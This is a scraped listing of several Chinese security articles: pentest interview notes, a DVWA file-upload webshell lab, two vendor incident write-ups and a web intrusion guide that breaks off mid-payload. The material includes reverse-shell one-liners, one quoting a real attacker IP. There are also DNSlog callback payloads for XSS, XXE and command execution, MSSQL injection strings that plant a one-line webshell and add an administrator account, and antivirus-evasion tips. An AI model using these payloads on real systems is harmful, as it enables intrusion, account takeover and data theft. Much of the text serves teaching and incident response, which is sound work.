前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀。    MIME校验时,抓包修改Conten-Type为允许MIME类型。3.CMS等的通用任意文件上传漏洞:绕过黑白名单、绕过文件内容检测、CMS的文件上传漏洞绕过waf1.数据溢出2.数据阶段:%00截断3.去掉双引号绕过4.文件名后缀大小写绕过文件上传中include和require的区别1.加载失败的处理方式及不同include引入文件失败后会继续执行require失败后停止执行2.Include是有条件包含函数include 'file.php'; //file.php不会被引入Require是无条件包含函数require 'file.php'; //file.php将会被引入3.文件引用方式Include有返回值Require没有返回值文件解析Apache 解析漏洞:后缀解析Nginx解析漏洞:畸形解析漏洞、空字节代码执行漏洞IIS 6.0解析漏洞:目录解析、后缀解析文件包含当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。分类:本地包含和远程包含include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。XXE即xml外部实体注入漏洞原理XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。防御1、使用开发语言提供的禁用外部实体的方法。2、PHP:libxml_disable_entity_loader(true);2、过滤用户提交的XML数据关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。XSS和CSRF的区别XSS不需要登录,CSRF需要用户登录信息XSS攻击客户端,CSRF访问服务端XSS劫持用户信息,CSRF伪造用户身份访问正常网站CSRF和SSRF的区别(1)CSRF 是跨站请求伪造攻击,由客户端发起(2)SSRF 是服务器端请求伪造,由服务器发起CSRF 和 XSS 和 XXE 区别(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。中间件漏洞IIS:IIS6.0 PUT漏洞IIS6.0 远程代码执行漏洞IIS6.0 解析漏洞IIS启用.net 短文件名漏洞IIS7.0/7.5 解析漏洞Apache:未知扩展名解析漏洞配置错误导致的解析漏洞、目录遍历Nginx:配置错误导致的解析漏洞、目录遍历PHP代码审计容易出问题的点1、参数拼接方式皆有可能产生SQL注入(老生常谈)2、全局变量注册导致的变量覆盖3、fwrite参数未过滤导致的代码执行4、权限校验疏漏导致的后台功能访问5、接口任意文件上传6、unserialize反序列化漏洞GET 和 POST 的区别1、get是获取数据。post是修改数据。2、get把请求的数据放在url上,以?分割URL和传输数据,参数之间以&相连,所以get不太安全。post把数据放在HTTP的包体内(requrest body)。3、get提交的数据最大是2k( 限制实际上取决于浏览器)。post理论上没有限制。4、GET产生一个TCP数据包,浏览器会把http header和data一并发送出去,服务器响应200(返回数据)。POST产生两个TCP数据包,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。5、GET请求会被浏览器主动缓存。POST不会,除非手动设置。Cookie和Session的区别 1,存储的位置不同,cookie:存放在客户端,session:存放在服务端。Session存储的数据比较安全2,存储的数据类型不同两者都是key-value的结构,但针对value的类型是有差异的cookie:value只能是字符串类型,session:value是Object类型3,存储的数据大小限制不同cookie:大小受浏览器的限制,很多是4K的大小 session:理论上受当前内存的限制webshell的检测方法Grep、关键词、关键函数、安全狗、D盾。反弹shell常用命令1.bash反弹shellNc开启监听,然后通过bash进行反弹shellbash -i >& /dev/tcp/IP/端口 0>&12.Msf反弹shellMsf制作php木马,使用handler模块开始监听,反弹shell。内网渗透思路:攻击外网服务器、获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板、攻击内网其他服务器、最后获取敏感数据,vulnstack内网渗透靶场1.环境搭建2.信息收集3.通过漏洞利用获取webshell。4.通过webshell获取meterpreter,进行提权:生成后门程序、执行监听、上传并执行木马、提权。5.通过meterpreter进行内网信息收集:Ifconfig查看ipRoute查看路由Arp查看arp列表sysinfo查看目标系统信息;Getwd查看meterpreter所在目录Getpid查看meterpreter的进程号run get_local_subnets 查看当前主机的网段与掩码。6.根据收集到的内网信息进行横向渗透。将已经获取权限的服务器配置为代理服务器当做跳板,进行横向扩展,设置路由网关,使用metasploit内置模块对目标服务器进行信息收集与探测。7.痕迹清理。多层内网渗透的原理:渗透机win10+kali 第一层靶机(外网web服务器)第二层靶机(内网web服务器)第三层靶机(内网办公机)win7上传msf上传到第一层主机第一层主机的meterpreter添加第二层的网络路由,启用代理配置第二层网络。利用第二层主机的meterpreter添加第三层的网络路由,使用代理配置网络,设置端口(lcx、ew、socks)提权Linux提权内核漏洞提权 (cve-2016-5195)查看内核版本uname -a下载,编译生成exp文件Make执行版本过高:目前主流linux版本均受影响 Cve-2021-4034,使用wget https://github.com/berdav/CVE-2021-4034将文件下载到tmp文件中,然后make执行拿到root权限Suid提权:普通用户去执行 root 权限的操作,而不需要知道 root 的密码第三方软件提权免杀免杀就是反病毒技术,免于被查毒软件查杀。加冷门壳加壳改壳加花指令 通过加一些指令也就是花指令来达到免杀效果,原理跟改特征码差不多。例如杀毒软件本来是在0x00001000到0x00005000处找一个特征码。但因为我们填充了花指令,恶意代码跑到了0x00008000这个位置,就会导致特征码查杀失败,从而达到免杀目的。改特征码方法: 大多数杀毒软件都是基于特征码进行查杀的。方法:利用myccl工具查找定位复合特征码应急响应1.准备阶段:准备阶段要做的是主要是明确资产范围对可能产生安全问题的 地方进行加固。2.检测阶段:通过日常的监控,收集系统信息日志等手段对可疑的迹象进行分析,判断,如果判定他属于网络安全应急响应时间,则对该事件进行上报(可以利用netstat -ano查看端口连接情况,也可以使用tasklist | find “PID” 对具体进程定位。系统日志可以WIN+R,输入eventvw.msc,直接进入事件查看器分析日志)3.抑制阶段:分析影响范围,根据预案采取相应手段,限制攻击的范围,设置隔离区 ,把影响降低到最小(可以使用安全软件进行隔离,如果整台电脑完全沦陷,也可以考虑首先断网)4.根除阶段:分析产生安全事件的原因,如果是木马,,病毒就需要找出源头来并且遏制,如果是入侵行为就可以通过入侵检测的方式来检测数据流,也可以利用一些工具对病毒特征进行扫描分析和定位5.恢复阶段:对受到破坏的系统和信息进行恢复还原,从可信任的备份中恢复还原系统配置,数据库等等,并对其进行实时监控,确保无误的情况可适当去掉之前做的隔离等抑制等措施。6.总结阶段:对我们上面所发生的安全事件做一个总结,对你所使用到的有效的手段和方法做一个记录,对后面可能遇到的安全事件做一个示例反序列化PHP反序列化漏洞也叫PHP对象注入。PHP 中的序列化与反序列化,基本都是围绕serialize() 和unserialize() 两个函数展开的。序列化就是把一个对象变成可以传输的字符串,反序列化就是一个相反的过程,在php的反序列化当中存在着魔术函数,执行序列化操作时会自动执行这些函数.在研究反序列化漏洞过程中,如果遇到几个魔法函数就需要我们去重点关注。construct()当一个对象创建时被调用destruct()当一个对象销毁时被调用toString()当一个对象被当作一个字符串使用sleep() 在对象在被序列化之前运行wakeup将在序列化之后立即被调用如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞。溯源指从攻击者遗留下的信息进行反向查找,查找到攻击者的姓名,手机以及身份证号。1.攻击源捕获安全设备报警:扫描ip、威胁阻断、病毒木马等。日志与流量分析:异常的通讯流量、攻击源与攻击目标。服务器资源异常,异常的文件、账号、进程、服务等钓鱼邮件:获取恶意文件样本、钓鱼网站url等蜜罐系统:获取攻击者行为、意图的相关信息。2.溯源反制手段Ip定位技术:根据IP定位物理地址—代理IP网站url:域名whois查询-注册人的姓名、地址、电话和邮箱案例一:邮件钓鱼攻击溯源攻防场景:攻击者伪造正常的邮件、绕过邮件网关,将邮件投递到目标邮箱,诱骗用户点击邮件链接。信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。案例二:蜜罐溯源攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。owasp top101.失效的访问控制2.加密机制失效3.注入4.不安全设计5.安全配置错误6.自带缺陷和过时的组件7.身份识别和身份验证错误8.软件和数据完整性故障9.安全日志和监控故障10.服务端请求伪造域渗透概念: 将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域域渗透的思路: 通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。常用指令: 得到域控制器的IP:dsquery server 得到域控制器主机名:net group "domain controllers" /domain 查询域管理用户:net group "domain admins" /domain 查看所有域用户: net user /domain登陆界面测试思路对登陆界面进行抓包,查看发送包和响应包。1.看是否有-cookie属性安全漏洞。查看setcookie是否有httponly。 HttpOnly是Cookie中一个属性,用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。2.看是否有-响应头缺失漏洞。X-Content-Type-Options、HTTP Content-Security-Policy、单击劫持:X-Frame-Options3.看是否有-cors漏洞。4.看是否有-敏感信息明文传输漏洞。5.看是否有-启用不安全的http方法。在响应中查看allow头信息,在allow头中发现delete、put等选项。6.对账号密码进行爆破,测试是否有弱口令。7.验证码相关漏洞 验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。 验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。 验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。8.测试-短信爆破。看是否可多次发送短信。9.测试是否有-host头攻击漏洞。修改host为baidu.com,发包看是响应包的url是否为baidu.comDNSlog使用DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件通常用在 1.SQL盲注 2.无回显的XSS 3.无回显的命令执行 4.无回显的SSRF网址 http://www.dnslog.cn/ http://ceye.io/records/dns1.xss盲打 "<script src=http://XSS.XXXXX.ceye.io></script>" <ImG src=http://xss.9e5ehg.dnslog.cn>2.SSRF "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."3.命令执行 " ping %PATH%.pxxx.ceye.io ..."
文章
XML  ·  SQL  ·  存储  ·  安全  ·  网络协议  ·  Shell  ·  PHP  ·  数据库  ·  数据安全/隐私保护  ·  数据格式
2022-11-24
文件上传漏洞及防_3 | 学习笔记
开发者学堂课程【网络安全攻防 - Web渗透测试: 文件上传漏洞及防_3】学习笔记,与课程紧密联系,让用户快速学习知识。课程地址:https://developer.aliyun.com/learning/course/630/detail/9899文件上传漏洞及防_3内容介绍:一、高安全级别二、认识木马程序一、高安全级别1、方法:将上传的文件删除,再设置为高安级别,先找到 upload,再找到源码查看,会发现高安全级别限制的是文件的扩展名,使文件的后缀必须是 jpg 或者是大写的 jpg。2、缺点:如果用这种方法来限制图像,会造成使用不便,会有许多种的图片无法上传。3、优点:尽管这种方法,限制过多,但仍非常好用。4、再次演示:现在状态(代理工程是打开的,拦截是关闭的)。浏览一个图片,然后再浏览到 shell1,再 upload 是不可以的。进行调整:将代理工程开启,再次选择 shell1,点击 upload,然后等待,接着来到另一边。若无响应,可通过钩住并摇晃鼠标来使其响应。另外它的类型即使更改也不会有任何作用,因为此法限制的不是文件的类型,而是文件的后缀,所以若后缀并非 jpg 或 JPG,一定完成不了。5、更改的演示(加 jpg):进行更改,但仍不可正常使用,如图。如图,演示后显示无此图片。但正常情况下此图片,应该存在,然后进行回推,查找错误。首先复制链接,在 caidao 进行尝试,新建一个 shell,密码依旧是 chopper,被要求选择脚本类型,如下图。选择脚本类型 PHP,进行添加,然后进行如下选择后,发现是复制出错,接着再次进行回推,发现在复制时少了’..‘,导致出错。再次进行操作,复制链接,新建shell,选择PHP的脚本类型,为防止不建议申许,将第二个文件删除,再进行如下操作能看到网站的结构,但还不能进行一些操作。如尝试下载一个文件,但无法下载。然后找到 backable 的 uploads,尝试进行删除,但仍无法删掉。所以由此得出,通过更改文件的后缀这种方法,是行不通的。6、回顾:在第一安全级别,未作任何限制;在中安全级别,对文件类型进行了一定的限制;在高安全级别,限制文件的后缀。二、认识木马程序1、常见木马程序:大马(代码量和功能比小马多,一般会进行二次编码机密,防止被安全防火墙或入侵系统检测到)、小马(一句话,木马也叫小马,即整个 shell 代码量只有一行,一般是系数执行汉书)。2、木马一般调用一些函数,如图,若使用 eval 则只能调用自身一些函数;若使用 system 则调用 Linux。进行试验,由于没有一个叫 shell2的文件,那便新建一个文件,在改变一个格式,进行保存。由于是在高安全级别,因而不可上传,为了演示,将拦截功能关闭,改为低或中安全级别,点击浏览,进行 upload,显示成功。随后复制路径,验证文件是否存在。加参数进行执行,如图(添加函数为了打印 php 信息,php 有很多函数。但为了执行,此处必须与方括号对应)3、如果将 eval 换成 system,其他均不变。先复制一份 shell2,将其命名为 shell3,再将内容稍作更改后将 shell3传上去,浏览,然后选择 upload,出现如下反应由于在此之前使用的是 system,回车返回一下,查看路径是否正确,结果发现不通,可以认定它是个命令,先找到它的 id,如图4、作为此机器 www-data 是个普通用户,拿到的是 webshell,拿到的是 www-data 用户的权限,若需其他权限则需要提权。如想在 tmp 下建立一个 file1的文件,如图发现设置的命令,只要有权限,便可以执行。但这种执行方法较中国菜刀相比没有那么便利,此方法需要在搜索栏逐字输入,比较麻烦。所以里面的请求方法尽量用 post,这个方法较前面的方法更加便利。5、利用 post 再次进行演示,新建一个 shell5,选择记事本的打开方式,记事本之中的不再是 request 而是 post,然后传上去,浏览,选择 shell5,点击 upload。随后复制链接,在中国菜刀使用,选择 caidao,随后输入密码,再检验是否成功,选择 dvwa,然后选择 backable,随后点击 uploads,尝试是否可以删除文件,发现可以正常删除文件,证明成功
文章
安全  ·  Shell  ·  Linux  ·  网络安全  ·  PHP  ·  数据安全/隐私保护  ·  开发者
2022-11-08
阿里云提示进程异常行为反弹SHELL 该怎么处理
相信有很多站长以及运营网站或APP的技术人员都有一些安全上的困扰,尤其是对网站代码里存在后门文件,以及服务器被植入木马病毒的安全问题很闹心,前段时间我们SINE安全接到客户的安全咨询,说是找的第三方开发公司做的APP和后台,运营了起来差不多3个月,一开始注册的会员量不是很多,当注册达到成千上万个会员注册量的时候,就相继出现了安全上的问题,数据库总是被篡改,会员信息泄露,以及被阿里云提示的云安全中心,安全事件提醒,尊敬的*玉:云盾云安全中心检测到您的服务器:47.180.*.*(主服务器)出现了紧急安全事件:自启动后门,建议您立即进行处理。进程异常行为-反弹Shell和异常网络连接-反弹shell网络外连以及恶意脚本代码执行还有Linux可疑命令序列恶意软件-后门程序等告警,针对这些安全问题,SINE安全老于来给大家科普一下,如何去除网站后门木马以及代码漏洞检测等问题。攻击情况介绍:当天我们SINESAFE收到客户的电话咨询,客户的平台、APP和H5端、以及后台遭到黑客入侵,并篡改了数据库里面的数据,导致平台的损失过万,详细询问了客户的平台架构以及部署的服务器数量,发现客户用的是Thinkphp架构开发,APP的API接口和H5端以及后台管理都是在该架构的基础上开发的,因为这套代码是客户从买来后找的第三方公司进行的二次开发,第三方开发公司对里面的代码后门并不清楚,很多低价卖源码的,肯定是有利益可图的。建议大家买来后一定要对网站源码进行代码安全审计和网站后门审计服务,尤其是对准备刚上线的APP平台,对安全问题要重视起来,否则到了后期会员规模上来后,损失的就不止这一点了。跟客户进行了详细的对接,梳理了所有的服务器的信息以及网站源码的位置,我们的SINE安全工程师立即将代码打包到本地,进行源代码安全审计,通过对用户注册以及APP里的具体功能代码,都进行了全面的人工漏洞测试,发现在留言反馈以及会员信息功能,存在XSS跨站漏洞,这个漏洞可以将XSS攻击代码植入到后台里去,当后台的管理人员查看了反馈的留言或用户的个人详情,就会直接触发该XSS漏洞,XSS漏洞可以获取到网站后台的地址,以及管理员的Session和cookies,有了这2个值,黑客就可以登录后台了,对APP里的API接口也进行详细的安全审计,发现存在会员信息泄露漏洞,由于未对UID值进行当前账号权限判断,可以越权查看其它UID的会员信息,像手机号以及注册时间,银行卡,钱包地址,密码等等的信息,都可以越权查看,我们SINE安全工程师对代码中的一些函数功能代码进行审计,检测出了源码作者留的一句话木马后门,而且还是加密形式免杀webshell,代码如下:真是道高一尺魔高一丈,源码作者留的后门,手段非常高,一般的建站公司技术是没办法看出这个文件是木马代码的,我们对其网站的访问日志以及APP的接口日志进行人工检查,还发现了后台登录这里被黑客动了手脚,只要管理员登录成功会立即把用户名和密码写到/data/目录下的robots.txt文件中,建议大家日后做检查代码的时候先搜索下_encode关键词看看有没有可疑的,以及搜索关键词eval函数的都有哪些再调用,因为很多一句话木马都是调用的eval函数,通过对每个代码的安全审计发现上传功能的代码中存在上传后门具体代码如下:后门真是太多了,防不胜防,辛亏客户找到了我们SINE安全对网站代码进行了详细的安全审计和漏洞测试,我们对网站的上传的目录进行了脚本执行权限控制,对eval的后门进行了强制删除,以及对管理后台登录这里的后门进行了修复,对一些XSS跨站攻击的代码进行了攻击防护,对所有get post变量提交的参数进行了安全过滤,凡是包含xss跨站代码的,以及非法植入攻击代码的都进行了拦截过滤,并对整套代码进行了安全加固与防护,也同时对服务器进行了端口安全策略部署和基础安全设置,如注册表权限,环境运行账户权限,mysql数据库的权限分离设置,以及nginx的运行账户进行了设置,防止通过网站后门木马进行提权拿到服务器权限,如果想要对网站代码进行后门查找和清除和漏洞人工测试服务的可以向网站漏洞修复服务商SINE安全或鹰盾安全以及启明星辰,大树安全等这些服务商寻求技术支持。针对阿里云的云安全中心安全事件提醒,我们让客户提供了阿里云账号和密码,登录后,对该安全事件的详情进行了查看,发现确实是黑客植入了自启动的后门,我们对Linux系统的自启动服务进行了查看,发现黑客植入的木马病毒,每次重启服务器都会自动启动该服务,向外发送连接请求,Command: bash -i >& / dev/tcp/1.15.235.160/25670>&1 该命令是直接反弹了Linux root SHELL到1.15.235.160黑客的服务器。我们对该IP进行了阿里云安全组IP限制,以及对系统里的自启动服务进行了删除与防篡改部署,至此客户的APP被黑客攻击以及篡改数据的问题得到了彻底的解决。也希望我们的解决过程分享,能帮到更多的人。
文章
云安全  ·  移动开发  ·  安全  ·  网络协议  ·  Shell  ·  Linux  ·  测试技术  ·  API  ·  数据库  ·  数据安全/隐私保护
2022-09-01
APP数据被泄露接到境外电话 该怎么查服务器漏洞
上海经济7月份开始陆续恢复,一些在上海做APP项目的客户开始了一系列的营销推广和发展,在众多渠道推广下,用户下载安装APP的同时,一些安全上的漏洞频发,并被高级黑客给盯上,具体的数据泄露攻击的症状为:用户刚注册好的用户信息就被泄露,不一会就会收到电话推广营销,并且有些用户的数据被恶意篡改,导致APP运营平台损失较大,比如一些用户借贷额度被篡改成20w的额度,APP项目方发现问题后立即找了APP安全应急响应服务团队进行了全面的安全应急响应服务,要求尽快找出漏洞问题的原因以及攻击进行溯源。​了解到上述情况后,我们SINE安全立即安排了技术团队对APP项目方的整体运维关联的服务器以及数据库、API接口服务器和落地推广服务器、H5域名进行了信息整理和搜集,并仔细询问了最早发生这种数据被盗取泄露和被篡改的时间,以及带来的损失和管理员人员的第三方安全排查和记录,通过此项目的运维人员的了解,发现服务器都使用的是Linux系统,项目App的架构语言是用Java+Vue开发的,API接口使用的也是java开发的,而且运维人员告知程序员,所有的代码修改和调试都要在正式服务器里的测试环境中进行,简单来理解的话,就是说代码开发人员在使用项目中的服务器,去调试和修改代码,通过我们工程师人工审计扫描发现,服务器开放了8099,22,3306,21,80,443,8080等端口,看了下8099端口是用于GItlab系统,此系统是程序员用于修改App代码和同步代码用的,22端口是运维技术和开发人员登录服务器的SSH端口用的,3306是一些Mysql测试数据库和正式数据库用的端口,21端口是程序员上传文件用的Ftp服务端口,80和443是API接口和App项目所用到的对外用户访问的服务,8080是程序员调试app接口用的。​通过我们的前期信息搜集,有些细节一定不能拉下,一个小的问题点就会导致出现漏洞,我们尝试了gitlab的默认账户root的项目共享网址,发现root共享的项目中包含了App源代码,我们技术立即打包下载下来到我们自己电脑,深入的分析了java代码里的一些配置文件,发现存在一些阿里云oss的key和密钥信息,我们尝试利用阿里云的oss key和密钥发现,该密钥的权限特别大,可以直接获取到当前阿里云账户下的所有服务器信息,以及所有阿里云服务管理权限。​​​此时此刻,这个漏洞的危害性实在太大了,可以操控阿里云账户下的所有服务器,正因为这个漏洞,才发生了一开始我们介绍的客户被攻击的症状,为何用户刚注册的信息,立马就被泄露,根源就是这个阿里云oss key和密钥泄露问题,导致黑客可以直接登录服务器去查看数据库,并实时的从数据库中提取用户的手机号和姓名以及身份证号卖给第三方,第三方使用电话进行营销推广,目前已形成了一个产业链,针对这个漏洞我们让客户确认了下上述图片中的服务器是否是客户账户下的,经项目方运维技术确认,的确是他们阿里云账户下的所有服务器,由于运维技术可能对我们SINESAFE的技术实力有点不相信,在进行渗透测试安全服务的一开始就对我们说,知道服务器IP是没用的,你得真正拿到服务器管理员权限才行,经过客户的授权允许后,在不影响正式业务的运行下,我们利用阿里云的key和密钥执行了SHELL命令,并直接进入了服务器使用的是root权限,发现数据库部署在172.18.17.165内网,通过history获取到了用户的一些历史操作命令,其中包括Mysql的数据库账户和密码,本身一开始的时候,我们就发现服务器对外开放了3306端口,我们获得这些数据库账户信息后,立即远程连接了mysql查看到,的确是App的所有数据库内容,截图如下:​​​此时客户的运维技术,看到我们发的这个截图后,立马改口说:服了,真牛,不亏是专业的网站安漏洞修复服务商,至此整个溯源以及漏洞发生的问题都已找到,后续客户直接签订了长期的APP渗透测试服务和安全加固服务,通过后续的服务,我们SINE安全技术又发现API接口存在一些越权漏洞,可越权查看用户信息,可导致APP的用户信息被泄露和篡改,比如用户的金额也可以直接通过这个接口漏洞直接修改成任意的金额,APP中的留言反馈功能还存在XSS跨站攻击,导致黑客可以获取到后台的session值和cookie值,可直接登录后台,还有一些接口使用说明,也直接暴露在了前端,由于开发人员没有安全意识,随手就把一些备份文件放到了网站根目录下,通过一些工具,可获取到了此备份文件,文件里包含很多代码信息,诸如此类的漏洞实在是太多了,如果有遇到此类问题的朋友记得要仔细排查每一个细节和功能,凡是关联数据库的服务器或网站或APP一定都要仔细排查漏洞,因为这都是黑客攻击的入口,入口越多,黑客入侵的成功几率也就越大,如果实在搞不定,又摸不着头脑的话可以找专业的网站漏洞修复服务商来处理数据泄露的问题。​
文章
运维  ·  安全  ·  关系型数据库  ·  MySQL  ·  Java  ·  程序员  ·  API  ·  网络安全  ·  数据库  ·  对象存储
2022-07-15
实例讲解网站被入侵后需做的检测
实例讲解网站被入侵后需做的检测先分析入侵者都做了些什么!   记得为了方便在他机器上装了RADMIN,登录了一下,密码也不对了,看来是有人上去了,而且入侵者还拿到了系统管理员权限。   跑到机房,拿出ERD COMMANDER,改了密码,重启,进入系统后第一步升级帐户,多了一个hud$的用户,administrators组,删除,再看guest用户虽然禁用状态,但是说明内容不对了。仔细一看,administrators组,同样删除。接着看了下其他用户,组别都正常,把远程连接权限都去掉后,帐号方面算是处理完了。   接着看看各个硬盘C:\下面有如下文件   sqlhello.exe   sqlhello2.exe   result.txt   1.bat   2.bat   编辑了下1.bat,里面内容都是扫描整个网段。看来是有人拿这台机器当跳板了,移动所有文件到其他目录。   接着审计应用程序,考虑这台机器的用途和环境。是WINDOWS2000+IIS+SERV-U 。   先看SERV-U审计用户,看看有没有别人加system权限的FTP用户,查看下来没有。   执行权限也没有,锁定目录状态都是对的。   看了下没有记录日志。   然后看了版本。5.0.0.4...ft了,早让他升级,就是不升,看来是被入侵的第一步,先升级到6.0.0.2 ,FTP这里应该没什么问题了。   IIS方面的分析:   开着日志记录,太好了,等会儿分析日志   继续看,其他都是默认配置,先在应用程序映射里把所有的文件类型都删除干净只保留.ASP和.ASA   审计文件权限   设定各个分区和目录的权限。   接着审查木马情况,由于系统不能重装,所以只能加固原有已经被入侵的系统,考虑到这个入侵者添加的用户的情况以及在C根目录放文件还有日志都是开放等等情况,估计水平不会很高,也不会植入自己编写的木马。   使用了朋友thrkdev编的ATE来查了一遍,看来没有已知木马。   接着查找WEBSHELL,考虑到入侵者水平,最多也就用用海阳,而且最多也就把部分版权信息去掉,搜索所有内容包含lcx的.ASP文件。   果然,4个文件。   2005.asp   ok.asp   dvbbs7.asp   aki.asp   看来分析还是比较准确的,除了dvbbs7.asp有点创意,移动这些文件到其他目录,供以后审计用。 然后是网络部分   TCP过滤未开,IPSEC未指派。   先把NETBIOS关掉,然后TCP内只允许20,21,80,3389   考虑到反向木马的可能性   在IPSEC内打开本机SPORT 20,21,80,3389到外部任意端口,其他从内部往外的一律屏蔽。   系统萃取,把一些无关服务与软件关闭或者卸载。   对系统进行补丁升级,还好补丁还是没有缺,把自动UPDATE设置到自动安装。   最后一步是分析日志,看看有没有遗漏的地方,系统本身的日志都被关闭了。看来入侵者还是比较小心。   打开该审计的部分,在关键目录,比如系统目录加上了审计,使得所有对C:\WINNT的创建文件的成功与失败都记录在日志内。   由于前面提到SERV-U日志原来并未记录,只能打开IIS日志查找对于找到的4个WEBSHELL的访问情况,找到了访问的IP,回查,来自一个固定IP地址,浏览了一下,得到信息后给对方管理员去邮件通知他们做好安全工作。   其实还有一些部分内容应该做而限于有些条件没有做的。   1.更换系统默认用户用户名   因为兄弟他们对计算机不熟,就没有更换,不过要求他们使用更加强壮的密码了   2.对于加密的webshell的查找   上述内容中对于WEBSHELL只查找了一种,并且只针对明文编码的页面程序进行了查找,应该是可以加入对于编码后ASP WEBSHELL的搜索。   还有搜索内容应该由简单的LCX扩展到wscript.shell等更加广泛与匹配的关键词的查找   3.对于木马的查找   由于预估入侵者水平不高,所以这项只依靠杀木马软件进行了搜索,如果有时间的话,还是应该手工进行查找   4.对页面程序进行评估   也有由于时间关系,没时间对原有网站程序进行检查。   5.入侵测试   由于入侵检测很可能被入侵者的思路带着走而忽略了其他薄弱环节,所以检测完毕应该最好进行完全的测试,保证其他路径是同样强壮的。 本文转自starger51CTO博客,原文链接: http://blog.51cto.com/starger/19174,如需转载请自行联系原作者
文章
安全  ·  .NET  ·  数据安全/隐私保护  ·  开发框架  ·  网络协议  ·  网络安全  ·  网络虚拟化
2017-11-16
web入侵
一:注入类:access数据库<1>首先猜解管理员密码:手工猜解(当然,如果你有基础,这里就很简单。如果没学过,其实只要记下一些常用的语句就可以了。)工具猜解。我建议用zwell的穿山甲,也就是pangolin..或者是NBSI。前者猜解速度非常强悍。而猜解的准确率两者都很好。找出后台:用明小子,啊D,等工具都可以找的。但有时候会找不到。为什么呢?建议用多线程后台扫描工具。里面的字典你可以从明小子等那些工具里综合起来。还有一点。平时检测网站的时候遇到一些你字典里没有的后台名称。要注意积累下来。另外种方法找后台当然就是googlehack了。Admin site:xxx.com管理 site:xxx.comSite:xxx.com inurl:login等等。这些靠自己构造。<2>跨库查询使用跨库查询有两个前提:1:使用union查询必须知道前一个select里表的字段数2:必须知道目标数据库的所在位置,绝对路径。具体文章可以参照这里:http://www.4ngel.net/article/46.htmSQL网站渗透方法MSSQL数据库:1:SA权限一般说来,无论谁拿到一个SA权限的注射点。都会很开心。<1>直接执行net user等命令。<2>可列目录但不能执行系统命令。可以列出目录找出网站中可以利用的地方,比如ewebeditor,或者上传地址(试试是否有上传漏洞),等等。或者找服务器下其他网站,然后入侵之。如果无其他漏洞可以找到,那就利用备份得到一个webshell。<3>无cmdshell那就恢复之。详细请在论坛或者百度搜索相关文章。<4>如果无法恢复cmdshell也就是利用的sp_oacreate来执行。可以通过5次shift来登陆3389还可以利用sp_makewebtask直接在web目录里写入一句话马http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''<%25execute(request("a"))%25>''%20';--还可以利用沙盒模式提权EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user aloner$ aloner /add")');--;Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators aloner$ 